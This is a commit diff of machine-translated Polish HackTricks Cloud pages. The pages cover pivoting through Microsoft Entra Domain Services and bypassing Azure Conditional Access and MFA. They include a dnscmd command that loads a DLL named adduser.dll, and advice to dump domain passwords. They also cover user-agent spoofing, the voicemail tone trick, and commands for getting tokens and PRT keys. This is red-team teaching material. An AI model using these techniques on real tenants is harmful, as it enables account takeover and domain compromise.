mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['.github/pull_request_template.md', 'src/banners/hacktricks-
This commit is contained in:
11
.github/pull_request_template.md
vendored
11
.github/pull_request_template.md
vendored
@@ -1,9 +1,12 @@
|
||||
## Attribution
|
||||
Cenimy Twoją wiedzę i zachęcamy do dzielenia się treściami. Proszę upewnić się, że przesyłasz tylko treści, które posiadasz lub na które masz pozwolenie od oryginalnego autora (dodając odniesienie do autora w dodanym tekście lub na końcu strony, którą modyfikujesz, lub w obu miejscach). Twój szacunek dla praw własności intelektualnej sprzyja zaufanemu i legalnemu środowisku dzielenia się dla wszystkich.
|
||||
Możesz usunąć tę treść przed wysłaniem PR:
|
||||
|
||||
## Uznanie autorstwa
|
||||
Cenimy Twoją wiedzę i zachęcamy do dzielenia się treściami. Upewnij się, że przesyłasz tylko materiały, których jesteś właścicielem lub które możesz udostępnić za zgodą oryginalnego autora (dodając odniesienie do autora w dodanym tekście lub na końcu strony, którą modyfikujesz, albo w obu miejscach). Szacunek dla praw własności intelektualnej sprzyja zaufanemu i legalnemu środowisku współdzielenia dla wszystkich.
|
||||
|
||||
## HackTricks Training
|
||||
Jeśli dodajesz, aby zdać egzamin w [ARTE certification](https://training.hacktricks.xyz/courses/arte) z 2 flagami zamiast 3, musisz nazwać PR `arte-<username>`.
|
||||
Jeśli wysyłasz PR po to, aby zdać egzamin na [ARTE certification](https://hacktricks-training.com/courses/arte) z 2 flagami zamiast 3, musisz nazwać PR `arte-<username>`, `grte-<username>` lub `azrte-<username>`, w zależności od certyfikacji, którą zdajesz.
|
||||
|
||||
Pamiętaj także, że poprawki dotyczące gramatyki/składni nie zostaną zaakceptowane jako redukcja liczby flag na egzaminie.
|
||||
|
||||
Pamiętaj również, że poprawki gramatyczne/składniowe nie będą akceptowane w celu zmniejszenia liczby flag egzaminacyjnych.
|
||||
|
||||
W każdym razie, dziękujemy za wkład w HackTricks!
|
||||
|
||||
@@ -1,14 +1,14 @@
|
||||
> [!TIP]
|
||||
> Ucz się i ćwicz Hacking AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
|
||||
> Ucz się i ćwicz Hacking GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
|
||||
> Ucz się i ćwicz Hacking Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
|
||||
> Ucz się & ćwicz AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
|
||||
> Ucz się & ćwicz GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
|
||||
> Ucz się & ćwicz Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
|
||||
>
|
||||
> <details>
|
||||
>
|
||||
> <summary>Wsparcie dla HackTricks</summary>
|
||||
> <summary>Wspieraj HackTricks</summary>
|
||||
>
|
||||
> - Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
> - **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
> - **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
> - Sprawdź [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
> - **Dołącz do** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) lub [**telegram group**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
> - **Podziel się hacking tricks, zgłaszając PRy do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
>
|
||||
> </details>
|
||||
|
||||
@@ -1,45 +1,45 @@
|
||||
# Az - Microsoft Entra Domain Services
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Usługi domenowe
|
||||
## Domain Services
|
||||
|
||||
Microsoft Entra Domain Services pozwala na wdrożenie Active Directory w Azure bez potrzeby zarządzania kontrolerami domeny (w rzeczywistości nie masz nawet do nich dostępu).
|
||||
Microsoft Entra Domain Services pozwala wdrożyć Active Directory w Azure bez konieczności zarządzania Domain Controllers (w rzeczywistości nie masz do nich nawet dostępu).
|
||||
|
||||
Jego głównym celem jest umożliwienie uruchamiania aplikacji dziedzicznych w chmurze, które nie mogą korzystać z nowoczesnych metod uwierzytelniania, lub w sytuacjach, gdy nie chcesz, aby zapytania do katalogu zawsze wracały do lokalnego środowiska AD DS.
|
||||
Głównym celem jest umożliwienie uruchamiania w chmurze starszych aplikacji, które nie mogą korzystać z nowoczesnych metod uwierzytelniania, lub tam, gdzie nie chcesz, aby zapytania katalogowe zawsze odsyłały do on-premises AD DS.
|
||||
|
||||
Zauważ, że aby zsynchronizować użytkowników utworzonych w Entra ID (a nie zsynchronizowanych z innymi aktywnymi katalogami) z usługą domeny AD, musisz **zmienić hasło użytkownika** na nowe, aby mogło być zsynchronizowane z nowym AD. W rzeczywistości użytkownik nie jest synchronizowany z Microsoft Entra ID do Usług Domenowych, dopóki hasło nie zostanie zmienione.
|
||||
Zauważ, że aby zsynchronizować użytkowników utworzonych w Entra ID (a nie synchronizowanych z innych Active Directory) z usługą domenową AD, musisz **zmienić hasło użytkownika** na nowe, aby mogło zostać zsynchronizowane z nowym AD. W rzeczywistości użytkownik nie jest synchronizowany z Microsoft Entra ID do Domain Services dopóki hasło nie zostanie zmienione.
|
||||
|
||||
> [!WARNING]
|
||||
> Nawet jeśli tworzysz nową domenę aktywnego katalogu, nie będziesz w stanie zarządzać nią w pełni (chyba że wykorzystasz jakieś błędy konfiguracyjne), co oznacza, że domyślnie na przykład nie możesz tworzyć użytkowników w AD bezpośrednio. Tworzysz ich poprzez **synchronizację użytkowników z Entra ID.** Możesz wskazać synchronizację wszystkich użytkowników (nawet tych zsynchronizowanych z innymi lokalnymi AD), tylko użytkowników chmurowych (użytkowników utworzonych w Entra ID) lub nawet **jeszcze bardziej je filtrować**.
|
||||
> Nawet jeśli tworzysz nową domenę Active Directory, nie będziesz w stanie nią w pełni zarządzać (chyba że wykorzystasz pewne błędne konfiguracje), co oznacza, że domyślnie np. nie możesz bezpośrednio tworzyć użytkowników w AD. Tworzysz je przez **synchronizowanie użytkowników z Entra ID.** Możesz wskazać synchronizację wszystkich użytkowników (nawet tych zsynchronizowanych z innych lokalnych AD), tylko użytkowników chmurowych (utworzonych w Entra ID), lub nawet **bardziej je filtrować**.
|
||||
|
||||
> [!NOTE]
|
||||
> Ogólnie rzecz biorąc, z powodu braku elastyczności w konfiguracji nowej domeny oraz faktu, że AD zazwyczaj już istnieją lokalnie, nie jest to główna integracja między Entra ID a AD, ale wciąż interesujące jest wiedzieć, jak to skompromitować.
|
||||
> Generalnie, z powodu braku elastyczności w konfiguracji nowej domeny oraz faktu, że AD zazwyczaj już istnieje on-premise, nie jest to główna integracja między Entra ID a AD, ale nadal warto wiedzieć, jak ją skompromitować.
|
||||
|
||||
### Pivoting
|
||||
|
||||
Członkowie wygenerowanej grupy **`AAD DC Administrators`** mają przyznane lokalne uprawnienia administratora na maszynach wirtualnych, które są dołączone do zarządzanej domeny (ale nie w kontrolerach domeny), ponieważ są dodawani do lokalnej grupy administratorów. Członkowie tej grupy mogą również korzystać z **Zdalnego Pulpitu, aby łączyć się zdalnie z maszynami wirtualnymi dołączonymi do domeny**, a także są członkami grup:
|
||||
Członkowie wygenerowanej grupy **`AAD DC Administrators`** otrzymują lokalne uprawnienia administratora na VM-ach dołączonych do zarządzanej domeny (ale nie na domain controllers), ponieważ są dodawani do lokalnej grupy administratorskiej. Członkowie tej grupy mogą także używać **Remote Desktop to connect remotely to domain-joined VMs**, i są jednocześnie członkami następujących grup:
|
||||
|
||||
- **`Denied RODC Password Replication Group`**: To grupa, która określa użytkowników i grupy, których hasła nie mogą być buforowane na RODC (Read-Only Domain Controllers).
|
||||
- **`Group Policy Creators Owners`**: Ta grupa pozwala członkom na tworzenie zasad grup w domenie. Jednak jej członkowie nie mogą stosować zasad grup do użytkowników ani grup ani edytować istniejących GPO, więc nie jest to zbyt interesujące w tym środowisku.
|
||||
- **`DnsAdmins`**: Ta grupa pozwala na zarządzanie ustawieniami DNS i była wykorzystywana w przeszłości do [eskalacji uprawnień i kompromitacji domeny](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), jednak po przetestowaniu ataku w tym środowisku sprawdzono, że luka jest załatana:
|
||||
- **`Denied RODC Password Replication Group`**: Jest to grupa określająca użytkowników i grupy, których hasła nie mogą być buforowane na RODC (Read-Only Domain Controllers).
|
||||
- **`Group Policy Creators Owners`**: Ta grupa pozwala członkom tworzyć Group Policies w domenie. Jednak jej członkowie nie mogą stosować group policies do użytkowników lub grup ani edytować istniejących GPO, więc nie jest to zbyt interesujące w tym środowisku.
|
||||
- **`DnsAdmins`**: Ta grupa pozwala zarządzać ustawieniami DNS i była wykorzystywana w przeszłości do [escalate privileges and compromise the domain](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), jednak po przetestowaniu ataku w tym środowisku stwierdzono, że podatność została załatana:
|
||||
```text
|
||||
dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
|
||||
dnscmd TDW52Y80ZE26M1K.azure.hacktricks-training.com /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
|
||||
|
||||
DNS Server failed to reset registry property.
|
||||
Status = 5 (0x00000005)
|
||||
Command failed: ERROR_ACCESS_DENIED 5 0x5
|
||||
```
|
||||
Zauważ, że aby przyznać te uprawnienia, w AD grupa **`AAD DC Administrators`** jest członkiem wcześniejszych grup, a także GPO **`AADDC Computers GPO`** dodaje jako lokalnych administratorów wszystkich członków grupy domenowej **`AAD DC Administrators`**.
|
||||
Zauważ, że aby przyznać te uprawnienia, w AD grupa **`AAD DC Administrators`** jest członkiem wcześniej wymienionych grup, a także GPO **`AADDC Computers GPO`** dodaje wszystkich członków grupy domenowej **`AAD DC Administrators`** do Local Administrators.
|
||||
|
||||
Przechodzenie z Entra ID do AD utworzonego za pomocą Domain Services jest proste, wystarczy dodać użytkownika do grupy **`AAD DC Administrators`**, uzyskać dostęp przez RDP do dowolnych/wszystkich maszyn w domenie i będziesz mógł ukraść dane oraz **skompromitować domenę.**
|
||||
Pivoting from Entra ID to an AD created with Domain Services is straightforward — wystarczy dodać użytkownika do grupy **`AAD DC Administrators`**, połączyć się przez RDP z dowolną/wszystkimi maszynami w domenie i będziesz mógł wykradać dane oraz **compromise the domain.**
|
||||
|
||||
Jednak przechodzenie z domeny do Entra ID nie jest tak łatwe, ponieważ nic z domeny nie jest synchronizowane z Entra ID. Zawsze sprawdzaj metadane wszystkich VM, ponieważ ich przypisane zarządzane tożsamości mogą mieć interesujące uprawnienia. Również **zrzucaj wszystkie hasła użytkowników z domeny** i próbuj je złamać, aby następnie zalogować się do Entra ID / Azure.
|
||||
Jednak pivoting z domeny do Entra ID nie jest tak prosty, ponieważ nic z domeny nie jest synchronizowane z Entra ID. Zawsze jednak sprawdzaj metadane wszystkich dołączonych VMs, ponieważ przypisane im managed identities mogą mieć interesujące uprawnienia. Również **dump all the users passwords from the domain** i spróbuj je złamać, aby potem zalogować się do Entra ID / Azure.
|
||||
|
||||
> [!NOTE]
|
||||
> Zauważ, że w przeszłości znaleziono inne luki w tym zarządzanym AD, które pozwalały na kompromitację DC, [jak ta](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). Atakujący, który skompromitował DC, mógł bardzo łatwo utrzymać trwałość, nie zauważając tego przez administratorów Azure ani nawet nie będąc w stanie tego usunąć.
|
||||
> Zauważ, że w przeszłości znaleziono inne podatności w tym managed AD, które pozwalały na compromise the DCs, [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). Atakujący kompromitujący DC mógłby bardzo łatwo maintain persistence bez tego, żeby Azure admins to zauważyli lub mogli to usunąć.
|
||||
|
||||
### Enumeracja
|
||||
### Enumeration
|
||||
```bash
|
||||
# Get configured domain services domains (you can add more subs to check in more subscriptions)
|
||||
az rest --method post \
|
||||
@@ -59,7 +59,7 @@ az rest --method post \
|
||||
# Get domain configuration
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/<domain-name>?api-version=2022-12-01&healthdata=true"
|
||||
## e.g.
|
||||
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.training.hacktricks.xyz?api-version=2022-12-01&healthdata=true"
|
||||
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.hacktricks-training.com?api-version=2022-12-01&healthdata=true"
|
||||
|
||||
# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain
|
||||
|
||||
@@ -83,4 +83,4 @@ fi
|
||||
done
|
||||
done <<< "$vm_list"
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,16 +1,16 @@
|
||||
# Az - Polityki dostępu warunkowego i obejście MFA
|
||||
# Az - Conditional Access Policies & MFA Bypass
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
Polityki dostępu warunkowego w Azure to zasady ustalone w Microsoft Azure, aby egzekwować kontrole dostępu do usług i aplikacji Azure na podstawie określonych **warunków**. Polityki te pomagają organizacjom zabezpieczyć swoje zasoby, stosując odpowiednie kontrole dostępu w odpowiednich okolicznościach.\
|
||||
Polityki dostępu warunkowego zasadniczo **określają** **Kto** może uzyskać dostęp do **Czego** z **Gdzie** i **Jak**.
|
||||
Azure Conditional Access policies to reguły skonfigurowane w Microsoft Azure, które wymuszają kontrolę dostępu do usług i aplikacji Azure na podstawie określonych **warunków**. Te polityki pomagają organizacjom zabezpieczyć zasoby, stosując odpowiednie mechanizmy kontroli dostępu w odpowiednich okolicznościach.\
|
||||
Conditional Access policies w zasadzie **określają**, **Kto** może uzyskać dostęp do **Czego** z **Gdzie** i **Jak**.
|
||||
|
||||
Oto kilka przykładów:
|
||||
|
||||
1. **Polityka ryzyka logowania**: Ta polityka może być ustawiona na wymaganie uwierzytelnienia wieloskładnikowego (MFA) w przypadku wykrycia ryzyka logowania. Na przykład, jeśli zachowanie logowania użytkownika jest nietypowe w porównaniu do jego regularnego wzorca, na przykład logowanie z innego kraju, system może poprosić o dodatkowe uwierzytelnienie.
|
||||
2. **Polityka zgodności urządzeń**: Ta polityka może ograniczyć dostęp do usług Azure tylko do urządzeń, które są zgodne z normami bezpieczeństwa organizacji. Na przykład, dostęp może być dozwolony tylko z urządzeń, które mają aktualne oprogramowanie antywirusowe lub działają na określonej wersji systemu operacyjnego.
|
||||
1. **Sign-In Risk Policy**: Ta polityka może wymagać multi-factor authentication (MFA), gdy wykryte zostanie ryzyko logowania. Na przykład, jeśli zachowanie logowania użytkownika jest nietypowe w porównaniu z jego zwykłym wzorcem, np. logowanie z innego kraju, system może zażądać dodatkowego uwierzytelnienia.
|
||||
2. **Device Compliance Policy**: Ta polityka może ograniczyć dostęp do usług Azure tylko do urządzeń zgodnych ze standardami bezpieczeństwa organizacji. Na przykład dostęp może być dozwolony tylko z urządzeń, które mają aktualne oprogramowanie antywirusowe lub działają na określonej wersji systemu operacyjnego.
|
||||
|
||||
## Enumeracja
|
||||
```bash
|
||||
@@ -20,79 +20,79 @@ az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-v
|
||||
# You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID
|
||||
az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies"
|
||||
```
|
||||
## Bypasses polityki dostępu warunkowego
|
||||
## Omijanie Conditional Access Policies
|
||||
|
||||
Możliwe, że polityka dostępu warunkowego **sprawdza pewne informacje, które można łatwo zmanipulować, co pozwala na obejście polityki**. A jeśli na przykład polityka konfigurowała MFA, atakujący będzie mógł ją obejść.
|
||||
Możliwe, że conditional access policy **sprawdza informacje, które można łatwo sfałszować, pozwalając na obejście polityki**. Jeśli na przykład polityka wymuszała MFA, atakujący będzie mógł ją ominąć.
|
||||
|
||||
Podczas konfigurowania polityki dostępu warunkowego należy wskazać **użytkowników** objętych polityką oraz **docelowe zasoby** (takie jak wszystkie aplikacje w chmurze).
|
||||
Przy konfigurowaniu conditional access policy trzeba określić **użytkowników** objętych oraz **docelowe zasoby** (np. all cloud apps).
|
||||
|
||||
Należy również skonfigurować **warunki**, które **wyzwolą** politykę:
|
||||
Trzeba też skonfigurować **warunki**, które **wywołają** politykę:
|
||||
|
||||
- **Sieć**: IP, zakresy IP i lokalizacje geograficzne
|
||||
- Można to obejść, używając VPN lub Proxy do połączenia z kraju lub udając się do logowania z dozwolonego adresu IP
|
||||
- **Ryzyka Microsoftu**: Ryzyko użytkownika, ryzyko logowania, ryzyko wewnętrzne
|
||||
- **Platformy urządzeń**: Dowolne urządzenie lub wybierz Android, iOS, Windows Phone, Windows, macOS, Linux
|
||||
- Jeśli nie wybrano „Dowolnego urządzenia”, ale wszystkie inne opcje są zaznaczone, można to obejść, używając losowego user-agenta, który nie jest związany z tymi platformami
|
||||
- **Aplikacje klienckie**: Opcje to „Przeglądarka”, „Aplikacje mobilne i klienci desktopowi”, „Klienci Exchange ActiveSync” i „Inne klienci”
|
||||
- Aby obejść logowanie z nie wybraną opcją
|
||||
- **Filtr dla urządzeń**: Możliwe jest wygenerowanie reguły związanej z używanym urządzeniem
|
||||
- **Przepływy uwierzytelniania**: Opcje to „Przepływ kodu urządzenia” i „Transfer uwierzytelniania”
|
||||
- To nie wpłynie na atakującego, chyba że próbuje nadużyć któregokolwiek z tych protokołów w próbie phishingu, aby uzyskać dostęp do konta ofiary
|
||||
- **Network**: Ip, IP ranges and geographical locations
|
||||
- Można to obejść używając VPN lub Proxy, aby połączyć się z dozwolonym krajem albo logując się z dozwolonego adresu IP
|
||||
- **Microsoft risks**: User risk, Sign-in risk, Insider risk
|
||||
- **Device platforms**: Any device or select Android, iOS, Windows phone, Windows, macOS, Linux
|
||||
- Jeśli „Any device” nie jest zaznaczone, ale wszystkie pozostałe opcje są wybrane, można to obejść używając losowego user-agent niepowiązanego z tymi platformami
|
||||
- **Client apps**: Option are “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” and Other clients”
|
||||
- Aby obejść — zaloguj się używając opcji, która nie jest wybrana
|
||||
- **Filter for devices**: Możliwe jest wygenerowanie reguły związaną z używanym urządzeniem
|
||||
- **Authentication flows**: Options are “Device code flow” and “Authentication transfer”
|
||||
- To nie wpłynie na atakującego, chyba że będzie próbował nadużyć któregoś z tych protokołów w ataku phishingowym, aby uzyskać dostęp do konta ofiary
|
||||
|
||||
Możliwe **wyniki** to: Zablokuj lub Przyznaj dostęp z potencjalnymi warunkami, takimi jak wymóg MFA, zgodność urządzenia...
|
||||
Możliwe **wyniki** to: Block lub Grant access z dodatkowymi warunkami jak require MFA, urządzenie musi być compliant…
|
||||
|
||||
### Platformy urządzeń - Warunek urządzenia
|
||||
### Platformy urządzeń - warunek urządzenia
|
||||
|
||||
Możliwe jest ustawienie warunku na podstawie **platformy urządzenia** (Android, iOS, Windows, macOS...), jednak opiera się to na **user-agencie**, więc łatwo to obejść. Nawet **wymuszając wszystkie opcje MFA**, jeśli użyjesz **user-agenta, który nie jest rozpoznawany**, będziesz mógł obejść MFA lub blokadę:
|
||||
Można ustawić warunek oparty na **platformie urządzenia** (Android, iOS, Windows, macOS...), jednak opiera się to na **user-agent**, więc łatwo to obejść. Nawet jeśli **wszystkie opcje będą wymuszać MFA**, jeśli użyjesz **user-agent, który nie jest rozpoznawany,** będziesz w stanie obejść MFA lub block:
|
||||
|
||||
<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wystarczy, że przeglądarka **wyśle nieznany user-agent** (jak `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`), aby nie wywołać tego warunku.\
|
||||
Możesz zmienić user-agenta **ręcznie** w narzędziach deweloperskich:
|
||||
Wystarczy, że przeglądarka **wyśle nieznany user-agent** (np. `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`), aby ten warunek nie został wyzwolony.\
|
||||
Możesz zmienić user agent **ręcznie** w narzędziach deweloperskich:
|
||||
|
||||
<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
Lub użyć [rozszerzenia przeglądarki takiego jak to](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
|
||||
Albo użyć [rozszerzenia przeglądarki takiego jak to](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
|
||||
|
||||
### Lokalizacje: Kraje, zakresy IP - Warunek urządzenia
|
||||
### Locations: Countries, IP ranges - Device Condition
|
||||
|
||||
Jeśli to jest ustawione w polityce warunkowej, atakujący może po prostu użyć **VPN** w **dozwolonym kraju** lub spróbować znaleźć sposób na dostęp z **dozwolonego adresu IP**, aby obejść te warunki.
|
||||
Jeśli to jest ustawione w conditional policy, atakujący może po prostu użyć **VPN** w **dozwolonym kraju** albo znaleźć sposób, by uzyskać dostęp z **dozwolonego adresu IP**, aby obejść te warunki.
|
||||
|
||||
### Aplikacje w chmurze
|
||||
### Cloud Apps
|
||||
|
||||
Możliwe jest skonfigurowanie **polityk dostępu warunkowego, aby zablokować lub wymusić** na przykład MFA, gdy użytkownik próbuje uzyskać dostęp do **konkretnej aplikacji**:
|
||||
Można skonfigurować **conditional access policies, aby blokować lub wymuszać** np. MFA, gdy użytkownik próbuje uzyskać dostęp do **konkretnej aplikacji**:
|
||||
|
||||
<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Aby spróbować obejść tę ochronę, powinieneś sprawdzić, czy możesz **zalogować się do dowolnej aplikacji**.\
|
||||
Narzędzie [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) ma **dziesiątki identyfikatorów aplikacji wbudowanych** i spróbuje się do nich zalogować, informując cię o tym i nawet dając token, jeśli się powiedzie.
|
||||
Aby spróbować obejść tę ochronę, powinieneś sprawdzić, czy możesz zalogować się do dowolnej aplikacji.\
|
||||
Narzędzie [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) ma **dziesiątki hardcoded application IDs** i będzie próbować logować się do nich, informując Cię i nawet zwracając token, jeśli się powiedzie.
|
||||
|
||||
Aby **przetestować konkretne identyfikatory aplikacji w konkretnych zasobach**, możesz również użyć narzędzia takiego jak:
|
||||
Aby przetestować konkretne application IDs w konkretnych zasobach, możesz też użyć narzędzia takiego jak:
|
||||
```bash
|
||||
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout
|
||||
|
||||
<token>
|
||||
```
|
||||
Ponadto możliwe jest również zabezpieczenie metody logowania (np. jeśli próbujesz zalogować się z przeglądarki lub z aplikacji desktopowej). Narzędzie [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) wykonuje pewne kontrole, aby spróbować obejść te zabezpieczenia.
|
||||
Co więcej, możliwe jest także zabezpieczenie metody logowania (np. gdy próbujesz logować się z przeglądarki lub z aplikacji desktopowej). Narzędzie [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) wykonuje kilka kontroli, aby spróbować obejść także te zabezpieczenia.
|
||||
|
||||
Narzędzie [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) może być również używane do podobnych celów, chociaż wydaje się być nieaktualizowane.
|
||||
Narzędzie [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) może być również użyte do podobnych celów, choć wygląda na nieutrzymywane.
|
||||
|
||||
Narzędzie [**ROPCI**](https://github.com/wunderwuzzi23/ropci) może być również używane do testowania tych zabezpieczeń i sprawdzenia, czy możliwe jest obejście MFA lub blokad, ale to narzędzie działa z perspektywy **whitebox**. Najpierw musisz pobrać listę aplikacji dozwolonych w dzierżawie, a następnie spróbuje się do nich zalogować.
|
||||
Narzędzie [**ROPCI**](https://github.com/wunderwuzzi23/ropci) może być także użyte do testowania tych zabezpieczeń i sprawdzenia, czy da się obejść MFA lub blokady, jednak narzędzie to działa z perspektywy **whitebox**. Najpierw musisz pobrać listę Apps dozwolonych w tenantcie, a następnie spróbuje się do nich zalogować.
|
||||
|
||||
## Inne obejścia Az MFA
|
||||
## Inne obejścia MFA w Az
|
||||
|
||||
### Dzwonek
|
||||
### Ring tone
|
||||
|
||||
Jedną z opcji Azure MFA jest **odebranie połączenia na skonfigurowany numer telefonu**, gdzie użytkownik zostanie poproszony o **wysłanie znaku `#`**.
|
||||
One Azure MFA option is to **receive a call in the configured phone number** where it will be asked the user to **send the char `#`**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Ponieważ znaki to tylko **tony**, atakujący mógłby **skomprymować** wiadomość **poczty głosowej** na numerze telefonu, skonfigurować jako wiadomość **ton `#`** i następnie, gdy żąda MFA, upewnić się, że **telefon ofiary jest zajęty** (dzwoniąc do niego), aby połączenie Azure zostało przekierowane do poczty głosowej.
|
||||
> As chars are just **tones**, an attacker could **compromise** the **voicemail** message of the phone number, configure as the message the **tone of `#`** and then, when requesting the MFA make sure that the **victims phone is busy** (calling it) so the Azure call gets redirected to the voice mail.
|
||||
|
||||
### Zgodne urządzenia
|
||||
### Compliant Devices
|
||||
|
||||
Polityki często wymagają zgodnego urządzenia lub MFA, więc **atakujący mógłby zarejestrować zgodne urządzenie**, uzyskać token **PRT** i **w ten sposób obejść MFA**.
|
||||
Polityki często wymagają compliant device lub MFA, więc **atakujący mógłby zarejestrować compliant device**, zdobyć **PRT** i w ten sposób **obejść MFA**.
|
||||
|
||||
Zacznij od zarejestrowania **zgodnego urządzenia w Intune**, a następnie **uzyskaj PRT** za pomocą:
|
||||
Zacznij od zarejestrowania **compliant device w Intune**, a następnie **zdobądź PRT** za pomocą:
|
||||
```bash
|
||||
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
|
||||
|
||||
@@ -114,27 +114,27 @@ Znajdź więcej informacji na temat tego rodzaju ataku na następującej stronie
|
||||
|
||||
Ten skrypt pobiera dane uwierzytelniające użytkownika i sprawdza, czy można zalogować się do niektórych aplikacji.
|
||||
|
||||
Jest to przydatne, aby zobaczyć, czy **nie jest wymagane MFA do logowania się do niektórych aplikacji**, które możesz później wykorzystać do **eskalacji uprawnień**.
|
||||
To przydatne do sprawdzenia, czy **aren't required MFA to login in some applications**, które możesz później wykorzystać do **escalate pvivileges**.
|
||||
|
||||
### [roadrecon](https://github.com/dirkjanm/ROADtools)
|
||||
|
||||
Pobierz wszystkie polityki
|
||||
Pobiera wszystkie polityki
|
||||
```bash
|
||||
roadrecon plugin policies
|
||||
```
|
||||
### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)
|
||||
|
||||
